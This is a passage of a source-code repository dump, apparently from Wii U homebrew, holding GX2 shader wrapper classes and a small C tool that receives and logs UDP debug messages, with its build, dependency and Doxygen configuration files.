ciTexCoordsVtxsSize = 4 * cuTexCoordAttrSize; static Texture2DShader *shaderInstance; FetchShader *fetchShader; VertexShader vertexShader; PixelShader pixelShader; f32 *posVtxs; f32 *texCoords; u32 angleLocation; u32 offsetLocation; u32 scaleLocation; u32 colorIntensityLocation; u32 blurLocation; u32 samplerLocation; u32 positionLocation; u32 texCoordLocation; public: static Texture2DShader *instance() { if(!shaderInstance) { shaderInstance = new Texture2DShader(); } return shaderInstance; } static void destroyInstance() { if(shaderInstance) { delete shaderInstance; shaderInstance = NULL; } } void setShaders(void) const { fetchShader->setShader(); vertexShader.setShader(); pixelShader.setShader(); } void setAttributeBuffer(const f32 * texCoords_in = NULL, const f32 * posVtxs_in = NULL, const u32 & vtxCount = 0) const { if(posVtxs_in && texCoords_in && vtxCount) { VertexShader::setAttributeBuffer(0, vtxCount * cuVertexAttrSize, cuVertexAttrSize, posVtxs_in); VertexShader::setAttributeBuffer(1, vtxCount * cuTexCoordAttrSize, cuTexCoordAttrSize, texCoords_in); } else { VertexShader::setAttributeBuffer(0, ciPositionVtxsSize, cuVertexAttrSize, posVtxs); VertexShader::setAttributeBuffer(1, ciTexCoordsVtxsSize, cuTexCoordAttrSize, texCoords); } } void setAngle(const float & val) { VertexShader::setUniformReg(angleLocation, 4, &val); } void setOffset(const glm::vec3 & vec) { VertexShader::setUniformReg(offsetLocation, 4, &vec[0]); } void setScale(const glm::vec3 & vec) { VertexShader::setUniformReg(scaleLocation, 4, &vec[0]); } void setColorIntensity(const glm::vec4 & vec) { PixelShader::setUniformReg(colorIntensityLocation, 4, &vec[0]); } void setBlurring(const glm::vec3 & vec) { PixelShader::setUniformReg(blurLocation, 4, &vec[0]); } void setTextureAndSampler(const GX2Texture *texture, const GX2Sampler *sampler) const { GX2SetPixelTexture(texture, samplerLocation); GX2SetPixelSampler(sampler, samplerLocation); } }; #endif // __TEXTURE_2D_SHADER_H_ ================================================ FILE: src/video/shaders/VertexShader.h ================================================ /**************************************************************************** * Copyright (C) 2015 Dimok * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see . ****************************************************************************/ #ifndef VERTEX_SHADER_H #define VERTEX_SHADER_H #include #include "Shader.h" class VertexShader : public Shader { public: VertexShader(u32 numAttr) : attributesCount( numAttr ) , attributes( new GX2AttribStream[attributesCount] ) , vertexShader( (GX2VertexShader*) memalign(0x40, sizeof(GX2VertexShader)) ) { if(vertexShader) { memset(vertexShader, 0, sizeof(GX2VertexShader)); vertexShader->shader_mode = GX2_SHADER_MODE_UNIFORM_REGISTER; } } virtual ~VertexShader() { delete [] attributes; if(vertexShader) { if(vertexShader->shader_data) free(vertexShader->shader_data); for(u32 i = 0; i < vertexShader->uniform_blocks_count; i++) free((void*)vertexShader->uniform_block[i].name); if(vertexShader->uniform_block) free((void*)vertexShader->uniform_block); for(u32 i = 0; i < vertexShader->uniform_vars_count; i++) free((void*)vertexShader->uniform_var[i].name); if(vertexShader->uniform_var) free((void*)vertexShader->uniform_var); if(vertexShader->initial_value) free((void*)vertexShader->initial_value); for(u32 i = 0; i < vertexShader->sampler_vars_count; i++) free((void*)vertexShader->sampler_var[i].name); if(vertexShader->sampler_var) free((void*)vertexShader->sampler_var); for(u32 i = 0; i < vertexShader->attribute_vars_count; i++) free((void*)vertexShader->attribute_var[i].name); if(vertexShader->attribute_var) free((void*)vertexShader->attribute_var); if(vertexShader->loops_data) free((void*)vertexShader->loops_data); free(vertexShader); } } void setProgram(const u32 * program, const u32 & programSize, const u32 * regs, const u32 & regsSize) { if(!vertexShader) return; //! this must be moved into an area where the graphic engine has access to and must be aligned to 0x100 vertexShader->shader_size = programSize; vertexShader->shader_data = memalign(GX2_SHADER_ALIGNMENT, vertexShader->shader_size); if(vertexShader->shader_data) { memcpy(vertexShader->shader_data, program, vertexShader->shader_size); GX2Invalidate(GX2_INVALIDATE_CPU_SHADER, vertexShader->shader_data, vertexShader->shader_size); } memcpy(vertexShader->regs, regs, regsSize); } void addUniformVar(const GX2UniformVar & var) { if(!vertexShader) return; u32 idx = vertexShader->uniform_vars_count; GX2UniformVar* newVar = (GX2UniformVar*) malloc((vertexShader->uniform_vars_count + 1) * sizeof(GX2UniformVar)); if(newVar) { if(vertexShader->uniform_vars_count > 0) { memcpy(newVar, vertexShader->uniform_var, vertexShader->uniform_vars_count * sizeof(GX2UniformVar)); free(vertexShader->uniform_var); } vertexShader->uniform_var = newVar; memcpy(vertexShader->uniform_var + idx, &var, sizeof(GX2UniformVar)); vertexShader->uniform_var[idx].name = (char*) malloc(strlen(var.name) + 1); strcpy((char*)vertexShader->uniform_var[idx].name, var.name); vertexShader->uniform_vars_count++; } } void addAttribVar(const GX2AttribVar & var) { if(!vertexShader) return; u32 idx = vertexShader->attribute_vars_count; GX2AttribVar* newVar = (GX2AttribVar*) malloc((vertexShader->attribute_vars_count + 1) * sizeof(GX2AttribVar)); if(newVar) { if(vertexShader->attribute_vars_count > 0) { memcpy(newVar, vertexShader->attribute_var, vertexShader->attribute_vars_count * sizeof(GX2AttribVar)); free(vertexShader->attribute_var); } vertexShader->attribute_var = newVar; memcpy(vertexShader->attribute_var + idx, &var, sizeof(GX2AttribVar)); vertexShader->attribute_var[idx].name = (char*) malloc(strlen(var.name) + 1); strcpy((char*)vertexShader->attribute_var[idx].name, var.name); vertexShader->attribute_vars_count++; } } static inline void setAttributeBuffer(u32 bufferIdx, u32 bufferSize, u32 stride, const void * buffer) { GX2SetAttribBuffer(bufferIdx, bufferSize, stride, buffer); } GX2VertexShader *getVertexShader() const { return vertexShader; } void setShader(void) const { GX2SetVertexShader(vertexShader); } GX2AttribStream * getAttributeBuffer(u32 idx = 0) const { if(idx >= attributesCount) { return NULL; } return &attributes[idx]; } u32 getAttributesCount() const { return attributesCount; } static void setUniformReg(u32 location, u32 size, const void * reg) { GX2SetVertexUniformReg(location, size, reg); } protected: u32 attributesCount; GX2AttribStream *attributes; GX2VertexShader *vertexShader; }; #endif // VERTEX_SHADER_H ================================================ FILE: udp_debug_reader/Makefile ================================================ CC=gcc CFLAGS=-c -Wall LDFLAGS= SOURCES:= $(wildcard source/*.c) OBJ_FILES = $(patsubst source/%.c,obj/%.o,$(SOURCES)) EXECUTABLE=UdpDebugReader $(EXECUTABLE): $(OBJ_FILES) $(CC) $(LDFLAGS) -o $@ $^ obj/%.o: source/%.c mkdir obj; $(CC) $(CFLAGS) -c -o $@ $< ================================================ FILE: udp_debug_reader/UdpDebugReader.cbp ================================================ ================================================ FILE: udp_debug_reader/UdpDebugReader.depend ================================================ # depslib dependency file v1.0 1279792267 source:c:\dokumente und einstellungen\dima\desktop\UdpDebugReader\source\network.c "network.h" 1452177726 " 1279792340 source:c:\dokumente und einstellungen\dima\desktop\UdpDebugReader\source\main.c "network.h" 1279798227 source:/home/dima/Desktop/UdpDebugReader/source/main.c "Input.h" "network.h" 1279798084 /home/dima/Desktop/UdpDebugReader/source/network.h "winsock/winsock.h" 1279798084 n.h> 1279797916 source:/home/dima/Desktop/UdpDebugReader/source/network.c "network.h" 1279798221 /home/dima/Desktop/UdpDebugReader/source/Input.h 1445718391 > 1279798252 source:/home/dima/Desktop/UdpDebugReader/source/Input.c "Input.h" 1198764450 /home/dima/Desktop/UdpDebugReader/source/winsock/winsock.h 1279798227 source:d:\UdpDebugReader\source\main.c "Input.h" "network.h" 1279799401 d:\UdpDebugReader\source\input.h 1279799400 d:\UdpDebugReader\source\network.h "winsock/winsock.h" 1452177726 1198768050 d:\UdpDebugReader\source\winsock\winsock.h 1279799399 source:d:\UdpDebugReader\source\network.c "network.h" 1279798252 source:d:\UdpDebugReader\source\input.c "Input.h" 1291665385 source:d:\code\windowstools\UdpDebugReader\source\network.c "network.h" 1291665388 d:\code\windowstools\UdpDebugReader\source\network.h "winsock/winsock.h" 1198764450 d:\code\windowstools\UdpDebugReader\source\winsock\winsock.h 1291665361 source:d:\code\windowstools\UdpDebugReader\source\input.c "Input.h" 1291665378 d:\code\windowstools\UdpDebugReader\source\input.h 1293478462 source:d:\code\windowstools\UdpDebugReader\source\main.c "Input.h" "network.h" 1325182250 source:/media/truecrypt1/code/LocalTrunk/Tools/UdpDebugReader/source/Input.c "Input.h" "Input.h" 1325182250 /media/truecrypt1/code/LocalTrunk/Tools/UdpDebugReader/source/Input.h 1334304767 source:/media/truecrypt1/code/LocalTrunk/Tools/UdpDebugReader/source/main.c "Input.h" "network.h" "Input.h" "network.h" 1334304019 /media/truecrypt1/code/LocalTrunk/Tools/UdpDebugReader/source/network.h "winsock/winsock.h" "winsock/winsock.h" 1325182250 /media/truecrypt1/code/LocalTrunk/Tools/UdpDebugReader/source/winsock/winsock.h 1334308770 source:/media/truecrypt1/code/LocalTrunk/Tools/UdpDebugReader/source/network.c "network.h" "network.h" 1334910814 source:d:\code\localtrunk\tools\UdpDebugReader\source\main.c "Input.h" "network.h" 1334909941 d:\code\localtrunk\tools\UdpDebugReader\source\input.h 1334910353 d:\code\localtrunk\tools\UdpDebugReader\source\network.h "winsock/winsock.h" 1325182250 d:\code\localtrunk\tools\UdpDebugReader\source\winsock\winsock.h 1334910629 source:d:\code\localtrunk\tools\UdpDebugReader\source\network.c "network.h" 1334909938 source:d:\code\localtrunk\tools\UdpDebugReader\source\input.c "Input.h" 1334909938 source:/media/truecrypt1/test/UdpDebugReader/source/Input.c "Input.h" 1334909941 /media/truecrypt1/test/UdpDebugReader/source/Input.h 1334910431 source:/media/truecrypt1/test/UdpDebugReader/source/main.c "Input.h" "network.h" 1334910353 /media/truecrypt1/test/UdpDebugReader/source/network.h "winsock/winsock.h" 1325182250 /media/truecrypt1/test/UdpDebugReader/source/winsock/winsock.h 1334910629 source:/media/truecrypt1/test/UdpDebugReader/source/network.c "network.h" 1445714791 source:d:\code\UdpDebugReader\source\input.c "Input.h" 1445714791 d:\code\UdpDebugReader\source\input.h 1452177726 source:d:\code\UdpDebugReader\source\main.c "Input.h" "network.h" 1452177726 d:\code\UdpDebugReader\source\network.h "winsock/winsock.h" 1445714791 d:\code\UdpDebugReader\source\winsock\winsock.h 1452177726 source:d:\code\UdpDebugReader\source\network.c "network.h" 1445714791 source:d:\loadiine_code\loadiine_gx2\udpdebugreader\source\input.c "Input.h" 1445714791 d:\loadiine_code\loadiine_gx2\udpdebugreader\source\input.h 1455123313 source:d:\loadiine_code\loadiine_gx2\udpdebugreader\source\network.c "network.h" 1452177726 d:\loadiine_code\loadiine_gx2\udpdebugreader\source\network.h "winsock/winsock.h" 1445714791 d:\loadiine_code\loadiine_gx2\udpdebugreader\source\winsock\winsock.h 1455123353 source:d:\loadiine_code\loadiine_gx2\udpdebugreader\source\main.c "Input.h" "network.h" 1445718391 source:/media/harddisk1/loadiine_code/loadiine_gx2/UdpDebugReader/source/Input.c "Input.h" 1445718391 /media/harddisk1/loadiine_code/loadiine_gx2/UdpDebugReader/source/Input.h 1455123087 source:/media/harddisk1/loadiine_code/loadiine_gx2/UdpDebugReader/source/main.c "Input.h" "network.h" 1452177726 /media/harddisk1/loadiine_code/loadiine_gx2/UdpDebugReader/source/network.h "winsock/winsock.h" 1445718391 /media/harddisk1/loadiine_code/loadiine_gx2/UdpDebugReader/source/winsock/winsock.h 1452177726 source:/media/harddisk1/loadiine_code/loadiine_gx2/UdpDebugReader/source/network.c "network.h" 1445718391 source:/media/harddisk1/loadiine_code/loadiine_gx2/UdpDebugReader/source/Input.c "Input.h" 1445718391 /media/harddisk1/loadiine_code/loadiine_gx2/UdpDebugReader/source/Input.h 1455123353 source:/media/harddisk1/loadiine_code/loadiine_gx2/UdpDebugReader/source/main.c "Input.h" "network.h" 1452177726 /media/harddisk1/loadiine_code/loadiine_gx2/UdpDebugReader/source/network.h "winsock/winsock.h" 1445718391 /media/harddisk1/loadiine_code/loadiine_gx2/UdpDebugReader/source/winsock/winsock.h 1455123550 source:/media/harddisk1/loadiine_code/loadiine_gx2/UdpDebugReader/source/network.c "network.h" ================================================ FILE: udp_debug_reader/UdpDebugReader.layout ================================================ ================================================ FILE: udp_debug_reader/doxygen/doxyfile ================================================ #****************************************************************************** # Base configuration for doxygen, generated by DoxyBlocks. # You may change these defaults to suit your purposes. #****************************************************************************** # Doxyfile 1.7.3 #--------------------------------------------------------------------------- # Project related configuration options #--------------------------------------------------------------------------- DOXYFILE_ENCODING = UTF-8 PROJECT_NAME = UdpDebugReader PROJECT_NUMBER = PROJECT_BRIEF = PROJECT_LOGO = OUTPUT_DIRECTORY = CREATE_SUBDIRS = NO OUTPUT_LANGUAGE = English BRIEF_MEMBER_DESC = YES REPEAT_BRIEF = YES ABBREVIATE_BRIEF = ALWAYS_DETAILED_SEC = NO INLINE_INHERITED_MEMB = NO FULL_PATH_NAMES = NO STRIP_FROM_PATH = STRIP_FROM_INC_PATH = SHORT_NAMES = NO JAVADOC_AUTOBRIEF = NO QT_AUTOBRIEF = NO MULTILINE_CPP_IS_BRIEF = NO INHERIT_DOCS = YES SEPARATE_MEMBER_PAGES = NO TAB_SIZE = 8 ALIASES = OPTIMIZE_OUTPUT_FOR_C = NO OPTIMIZE_OUTPUT_JAVA = NO OPTIMIZE_FOR_FORTRAN = NO OPTIMIZE_OUTPUT_VHDL = NO EXTENSION_MAPPING = BUILTIN_STL_SUPPORT = NO CPP_CLI_SUPPORT = NO SIP_SUPPORT = NO IDL_PROPERTY_SUPPORT = YES DISTRIBUTE_GROUP_DOC = NO SUBGROUPING = YES TYPEDEF_HIDES_STRUCT = NO SYMBOL_CACHE_SIZE = 0 #--------------------------------------------------------------------------- # Build related configuration options #--------------------------------------------------------------------------- EXTRACT_ALL = NO EXTRACT_PRIVATE = NO EXTRACT_STATIC = NO EXTRACT_LOCAL_CLASSES = YES EXTRACT_LOCAL_METHODS = NO EXTRACT_ANON_NSPACES = NO HIDE_UNDOC_MEMBERS = NO HIDE_UNDOC_CLASSES = NO HIDE_FRIEND_COMPOUNDS = NO HIDE_IN_BODY_DOCS = NO INTERNAL_DOCS = NO CASE_SENSE_NAMES = NO HIDE_SCOPE_NAMES = NO SHOW_INCLUDE_FILES = YES FORCE_LOCAL_INCLUDES = NO INLINE_INFO = YES SORT_MEMBER_DOCS = YES SORT_BRIEF_DOCS = NO SORT_MEMBERS_CTORS_1ST = NO SORT_GROUP_NAMES = NO SORT_BY_SCOPE_NAME = NO STRICT_PROTO_MATCHING = NO GENERATE_TODOLIST = YES GENERATE_TESTLIST = YES GENERATE_BUGLIST = YES GENERATE_DEPRECATEDLIST= YES ENABLED_SECTIONS = MAX_INITIALIZER_LINES = 30 SHOW_USED_FILES = YES SHOW_DIRECTORIES = NO SHOW_FILES = YES SHOW_NAMESPACES = YES FILE_VERSION_FILTER = LAYOUT_FILE = #--------------------------------------------------------------------------- # configuration options related to warning and progress messages #--------------------------------------------------------------------------- QUIET = NO WARNINGS = YES WARN_IF_UNDOCUMENTED = NO WARN_IF_DOC_ERROR = YES WARN_NO_PARAMDOC = YES WARN_FORMAT = "$file:$line: $text" WARN_LOGFILE = "D:\code\UdpDebugReader\doxygen\doxygen.log" #--------------------------------------------------------------------------- # configuration options related to the input files #--------------------------------------------------------------------------- INPUT = \ "..\source\network.h" \ "..\source\Input.h" \ "..\source\Input.c" \ "..\source\main.c" \ "..\source\network.c" INPUT_ENCODING = UTF-8 FILE_PATTERNS = RECURSIVE = NO EXCLUDE = EXCLUDE_SYMLINKS = NO EXCLUDE_PATTERNS = EXCLUDE_SYMBOLS = EXAMPLE_PATH = EXAMPLE_PATTERNS = EXAMPLE_RECURSIVE = NO IMAGE_PATH = INPUT_FILTER = FILTER_PATTERNS = FILTER_SOURCE_FILES = NO FILTER_SOURCE_PATTERNS = #--------------------------------------------------------------------------- # configuration options related to source browsing #--------------------------------------------------------------------------- SOURCE_BROWSER = NO INLINE_SOURCES = NO STRIP_CODE_COMMENTS = YES REFERENCED_BY_RELATION = NO REFERENCES_RELATION = NO REFERENCES_LINK_SOURCE = YES USE_HTAGS = NO VERBATIM_HEADERS = YES #--------------------------------------------------------------------------- # configuration options related to the alphabetical class index #--------------------------------------------------------------------------- ALPHABETICAL_INDEX = YES COLS_IN_ALPHA_INDEX = 5 IGNORE_PREFIX = #--------------------------------------------------------------------------- # configuration options related to the HTML output #--------------------------------------------------------------------------- GENERATE_HTML = YES HTML_OUTPUT = html HTML_FILE_EXTENSION = .html HTML_HEADER = HTML_FOOTER = HTML_STYLESHEET = HTML_COLORSTYLE_HUE = 220 HTML_COLORSTYLE_SAT = 100 HTML_COLORSTYLE_GAMMA = 80 HTML_TIMESTAMP = YES HTML_ALIGN_MEMBERS = YES HTML_DYNAMIC_SECTIONS = NO GENERATE_DOCSET = NO DOCSET_FEEDNAME = "Doxygen generated docs" DOCSET_BUNDLE_ID = org.doxygen.Project DOCSET_PUBLISHER_ID = org.doxygen.Publisher DOCSET_PUBLISHER_NAME = Publisher GENERATE_HTMLHELP = NO CHM_FILE = "../UdpDebugReader.chm" HHC_LOCATION = GENERATE_CHI = NO CHM_INDEX_ENCODING = BINARY_TOC = NO TOC_EXPAND = NO GENERATE_QHP = NO QCH_FILE = QHP_NAMESPACE = org.doxygen.Project QHP_VIRTUAL_FOLDER = doc QHP_CUST_FILTER_NAME = QHP_CUST_FILTER_ATTRS = QHP_SECT_FILTER_ATTRS = QHG_LOCATION = GENERATE_ECLIPSEHELP = NO ECLIPSE_DOC_ID = org.doxygen.Project DISABLE_INDEX = NO ENUM_VALUES_PER_LINE = 4 GENERATE_TREEVIEW = YES USE_INLINE_TREES = NO TREEVIEW_WIDTH = 250 EXT_LINKS_IN_WINDOW = NO FORMULA_FONTSIZE = 10 FORMULA_TRANSPARENT = YES USE_MATHJAX = NO MATHJAX_RELPATH = http://www.mathjax.org/mathjax SEARCHENGINE = YES SERVER_BASED_SEARCH = NO #--------------------------------------------------------------------------- # configuration options related to the LaTeX output #--------------------------------------------------------------------------- GENERATE_LATEX = NO LATEX_OUTPUT = latex LATEX_CMD_NAME = latex MAKEINDEX_CMD_NAME = makeindex COMPACT_LATEX = NO PAPER_TYPE = a4 EXTRA_PACKAGES = LATEX_HEADER = PDF_HYPERLINKS = YES USE_PDFLATEX = YES LATEX_BATCHMODE = NO LATEX_HIDE_INDICES = NO LATEX_SOURCE_CODE = NO #--------------------------------------------------------------------------- # configuration options related to the RTF output #--------------------------------------------------------------------------- GENERATE_RTF = NO RTF_OUTPUT = rtf COMPACT_RTF = NO RTF_HYPERLINKS = NO RTF_STYLESHEET_FILE = RTF_EXTENSIONS_FILE = #--------------------------------------------------------------------------- # configuration options related to the man page output #--------------------------------------------------------------------------- GENERATE_MAN = NO MAN_OUTPUT = man MAN_EXTENSION = .3 MAN_LINKS = NO #--------------------------------------------------------------------------- # configuration options related to the XML output #--------------------------------------------------------------------------- GENERATE_XML = NO XML_OUTPUT = xml XML_SCHEMA = XML_DTD = XML_PROGRAMLISTING = YES #--------------------------------------------------------------------------- # configuration options for the AutoGen Definitions output #--------------------------------------------------------------------------- GENERATE_AUTOGEN_DEF = NO #--------------------------------------------------------------------------- # configuration options related to the Perl module output #--------------------------------------------------------------------------- GENERATE_PERLMOD = NO PERLMOD_LATEX = NO PERLMOD_PRETTY = YES PERLMOD_MAKEVAR_PREFIX = #--------------------------------------------------------------------------- # Configuration options related to the preprocessor #--------------------------------------------------------------------------- ENABLE_PREPROCESSING = YES MACRO_EXPANSION = YES EXPAND_ONLY_PREDEF = YES SEARCH_INCLUDES = YES INCLUDE_PATH = INCLUDE_FILE_PATTERNS = PREDEFINED = WXUNUSED()= EXPAND_AS_DEFINED = SKIP_FUNCTION_MACROS = YES #--------------------------------------------------------------------------- # Configuration::additions related to external references #--------------------------------------------------------------------------- TAGFILES = GENERATE_TAGFILE = ALLEXTERNALS = NO EXTERNAL_GROUPS = YES PERL_PATH = /usr/bin/perl #--------------------------------------------------------------------------- # Configuration options related to the dot tool #--------------------------------------------------------------------------- CLASS_DIAGRAMS = NO MSCGEN_PATH = HIDE_UNDOC_RELATIONS = YES HAVE_DOT = NO DOT_NUM_THREADS = 0 DOT_FONTNAME = Helvetica DOT_FONTSIZE = 10 DOT_FONTPATH = CLASS_GRAPH = YES COLLABORATION_GRAPH = YES GROUP_GRAPHS = YES UML_LOOK = NO TEMPLATE_RELATIONS = NO INCLUDE_GRAPH = YES INCLUDED_BY_GRAPH = YES CALL_GRAPH = YES CALLER_GRAPH = NO GRAPHICAL_HIERARCHY = YES DIRECTORY_GRAPH = YES DOT_IMAGE_FORMAT = png DOT_PATH = DOTFILE_DIRS = MSCFILE_DIRS = DOT_GRAPH_MAX_NODES = 50 MAX_DOT_GRAPH_DEPTH = 0 DOT_TRANSPARENT = NO DOT_MULTI_TARGETS = NO GENERATE_LEGEND = YES DOT_CLEANUP = YES ================================================ FILE: udp_debug_reader/source/Input.c ================================================ /**************************************************************************** * Copyright (C) 2010-2012 * by Dimok * * This software is provided 'as-is', without any express or implied * warranty. In no event will the authors be held liable for any * damages arising from the use of this software. * * Permission is granted to anyone to use this software for any * purpose, including commercial applications, and to alter it and * redistribute it freely, subject to the following restrictions: * * 1. The origin of this software must not be misrepresented; you * must not claim that you wrote the original software. If you use * this software in a product, an acknowledgment in the product * documentation would be appreciated but is not required. * * 2. Altered source versions must be plainly marked as such, and * must not be misrepresented as being the original software. * * 3. This notice may not be removed or altered from any source * distribution. ***************************************************************************/ #include #include #include #include "Input.h" FILE * logFile = NULL; char CheckInput() { if(!kbhit()) return 0; char inputChar = getch(); if(inputChar == 'f') { if(logFile) { printf("\n\nStopped logging.\n\n"); fclose(logFile); logFile = NULL; } else { logFile = fopen("GeckoLog.txt", "wb"); if(logFile) printf("\n\nStarted logging to GeckoLog.txt.\n\n"); else printf("\n\nCan't create GeckoLog.txt.\n\n"); } } else if(inputChar == 'c') { system(CLEAR); } return inputChar; } #ifndef WIN32 #include int kbhit(void) { struct termios term, oterm; int fd = 0; int c = 0; tcgetattr(fd, &oterm); memcpy(&term, &oterm, sizeof(term)); term.c_lflag = term.c_lflag & (!ICANON); term.c_cc[VMIN] = 0; term.c_cc[VTIME] = 1; tcsetattr(fd, TCSANOW, &term); c = getchar(); tcsetattr(fd, TCSANOW, &oterm); if (c != -1) ungetc(c, stdin); return ((c != -1) ? 1 : 0); } int getch() { static int ch = -1, fd = 0; struct termios neu, alt; fd = fileno(stdin); tcgetattr(fd, &alt); neu = alt; neu.c_lflag &= ~(ICANON|ECHO); tcsetattr(fd, TCSANOW, &neu); ch = getchar(); tcsetattr(fd, TCSANOW, &alt); return ch; } #endif //WIN32 ================================================ FILE: udp_debug_reader/source/Input.h ================================================ /**************************************************************************** * Copyright (C) 2010-2012 * by Dimok * * This software is provided 'as-is', without any express or implied * warranty. In no event will the authors be held liable for any * damages arising from the use of this software. * * Permission is granted to anyone to use this software for any * purpose, including commercial applications, and to alter it and * redistribute it freely, subject to the following restrictions: * * 1. The origin of this software must not be misrepresented; you * must not claim that you wrote the original software. If you use * this software in a product, an acknowledgment in the product * documentation would be appreciated but is not required. * * 2. Altered source versions must be plainly marked as such, and * must not be misrepresented as being the original software. * * 3. This notice may not be removed or altered from any source * distribution. ***************************************************************************/ #ifndef ___INPUT_H_ #define ___INPUT_H_ #ifdef __cplusplus extern "C" { #endif #ifdef WIN32 #include #define CLEAR "cls" #else #include #define CLEAR "clear" int kbhit(void); int getch(); #endif extern FILE * logFile; #ifdef __cplusplus } #endif #endif ================================================ FILE: udp_debug_reader/source/main.c ================================================ /**************************************************************************** * Copyright (C) 2010-2012 * by Dimok * * This software is provided 'as-is', without any express or implied * warranty. In no event will the authors be held liable for any * damages arising from the use of this software. * * Permission is granted to anyone to use this software for any * purpose, including commercial applications, and to alter it and * redistribute it freely, subject to the following restrictions: * * 1. The origin of this software must not be misrepresented; you * must not claim that you wrote the original software. If you use * this software in a product, an acknowledgment in the product * documentation would be appreciated but is not required. * * 2. Altered source versions must be plainly marked as such, and * must not be misrepresented as being the original software. * * 3. This notice may not be removed or altered from any source * distribution. *****************************************************d**********************/ #include #include #include #include #include "Input.h" #include "network.h" int main(int argc, char *argv[]) { char inputChar = 0; if(NetInit() < 0) { printf("Can't open socket.\n"); usleep(999999); usleep(999999); return 0; } if(Bind() < 0) { printf("Can't bind socket.\n"); usleep(999999); usleep(999999); return 0; } printf("UdpDebugReader by Dimok\n"); printf("q = quit\n"); printf("f = start/stop writing log to file\n"); printf("c = clear console\n"); int ret; char data[RECEIVE_BLOCK_SIZE+1]; memset(data, 0, sizeof(data)); while(inputChar != 'q') { inputChar = CheckInput(); ret = NetRead(data, RECEIVE_BLOCK_SIZE); if(ret > 0) { data[ret] = '\0'; printf("%s", data); if(logFile) fwrite(data, 1, ret, logFile); } } if(logFile) fclose(logFile); CloseSocket(); return 0; } ================================================ FILE: udp_debug_reader/source/network.c ================================================ /**************************************************************************** * Copyright (C) 2010-2012 * by Dimok * * This software is provided 'as-is', without any express or implied * warranty. In no event will the authors be held liable for any * damages arising from the use of this software. * * Permission is granted to anyone to use this software for any * purpose, including commercial applications, and to alter it and * redistribute it freely, subject to the following restrictions: * * 1. The origin of this software must not be misrepresented; you * must not claim that you wrote the original software. If you use * this software in a product, an acknowledgment in the product * documentation would be appreciated but is not required. * * 2. Altered source versions must be plainly marked as such, and * must not be misrepresented as being the original software. * * 3. This notice may not be removed or altered from any source * distribution. ***************************************************************************/ #include #include #include #include #include #include "network.h" // Include Winsock Library static int sock_id = -1; static struct sockaddr_in servaddr; int Bind() { memset(&servaddr,0,sizeof(servaddr)); servaddr.sin_addr.s_addr = htonl(INADDR_ANY); servaddr.sin_port = htons(LISTEN_PORT); servaddr.sin_family = AF_INET; if (bind(sock_id, (struct sockaddr*)&servaddr, sizeof(servaddr)) < 0) { close(sock_id); return -1; } return 0; } void CloseSocket() { if(sock_id < 0) return; close(sock_id); sock_id = -1; } int NetInit() { if(sock_id >= 0) return sock_id; #ifdef WIN32 WSADATA wsaData; // Initialize Winsock if (WSAStartup(MAKEWORD(2,2), &wsaData) == SOCKET_ERROR) return -1; #endif //Get a socket if((sock_id = socket(AF_INET, SOCK_DGRAM, IPPROTO_IP)) == -1) return -1; #ifdef WIN32 u_long mode = 1; ioctlsocket(sock_id, FIONBIO, &mode); #else int flags = fcntl(sock_id, F_GETFL, 0); fcntl(sock_id, F_SETFL, flags | O_NONBLOCK); #endif return sock_id; } int NetRead(void *buffer, unsigned int buf_len) { if(sock_id < 0) return sock_id; fd_set fdsRead; FD_ZERO(&fdsRead); FD_SET(sock_id, &fdsRead); struct timeval tv; tv.tv_sec = 0; tv.tv_usec = 10000; if(select(sock_id + 1, &fdsRead, NULL, NULL, &tv) != 1) { return 0; } int len = sizeof(servaddr); return recvfrom(sock_id,buffer, buf_len, 0,(struct sockaddr *)&servaddr, &len); } ================================================ FILE: udp_debug_reader/source/network.h ================================================ /**************************************************************************** * Copyright (C) 2010-2012 * by Dimok * * This software is provided 'as-is', without any express or implied * warranty. In no event will the authors be held liable for any * damages arising from the use of this software. * * Permission is granted to anyone to use this software for any * purpose, including commercial applications, and to alter it and * redistribute it freely, subject to the following restrictions: * * 1. The origin of this software must not be misrepresented; you * must not claim that you wrote the original software. If you use * this software in a product, an acknowledgment in the product * documentation would be appreciated but is not required. * * 2. Altered source versions must be plainly marked as such, and * must not be misrepresented as being the original software. * * 3. This notice may not be removed or altered from any source * distribution. ***************************************************************************/ #ifndef __NETWORK_H_ #define __NETWORK_H_ #ifdef __cplusplus extern "C" { #endif #ifdef WIN32 #include "winsock/winsock.h" // Include Winsock Library #else #include #include #include #include #endif #define RECEIVE_BLOCK_SIZE 4096 #define LISTEN_PORT 4405 int NetInit(); int Bind(); void CloseSocket(); int NetRead(void *buffer, unsigned int buf_len); #ifdef __cplusplus } #endif #endif ================================================ FILE: udp_debug_reader/source/winsock/winsock.h ================================================ /* Definitions for winsock 1.1 Portions Copyright (c) 1980, 1983, 1988, 1993 The Regents of the University of California. All rights reserved. Portions Copyright (c) 1993 by Digital Equipment Corporation. */ #ifndef _WINSOCK_H #define _WINSOCK_H #if __GNUC__ >=3 #pragma GCC system_header #endif #define _GNU_H_WINDOWS32_SOCKETS #include #ifdef __cplusplus extern "C" { #endif #if !defined ( _BSDTYPES_DEFINED ) /* also defined in gmon.h and in cygwin's sys/types */ typedef unsigned char u_char; typedef unsigned short u_short; typedef unsigned int u_int; typedef unsigned long u_long; #define _BSDTYPES_DEFINED #endif /* !defined _BSDTYPES_DEFINED */ typedef u_int SOCKET; #ifndef FD_SETSIZE #define FD_SETSIZE 64 #endif /* shutdown() how types */ #define SD_RECEIVE 0x00 #define SD_SEND 0x01 #define SD_BOTH 0x02 #ifndef _SYS_TYPES_FD_SET /* fd_set may have be defined by the newlib * if __USE_W32_SOCKETS not defined. */ #ifdef fd_set #undef fd_set #endif typedef struct fd_set { u_int fd_count; SOCKET fd_array[FD_SETSIZE]; } fd_set; int PASCAL __WSAFDIsSet(SOCKET,fd_set*); #ifndef FD_CLR #define FD_CLR(fd,set) do { u_int __i;\ for (__i = 0; __i < ((fd_set *)(set))->fd_count ; __i++) {\ if (((fd_set *)(set))->fd_array[__i] == (fd)) {\ while (__i < ((fd_set *)(set))->fd_count-1) {\ ((fd_set*)(set))->fd_array[__i] = ((fd_set*)(set))->fd_array[__i+1];\ __i++;\ }\ ((fd_set*)(set))->fd_count--;\ break;\ }\ }\ } while (0) #endif #ifndef FD_SET #define FD_SET(fd, set) do { \ if 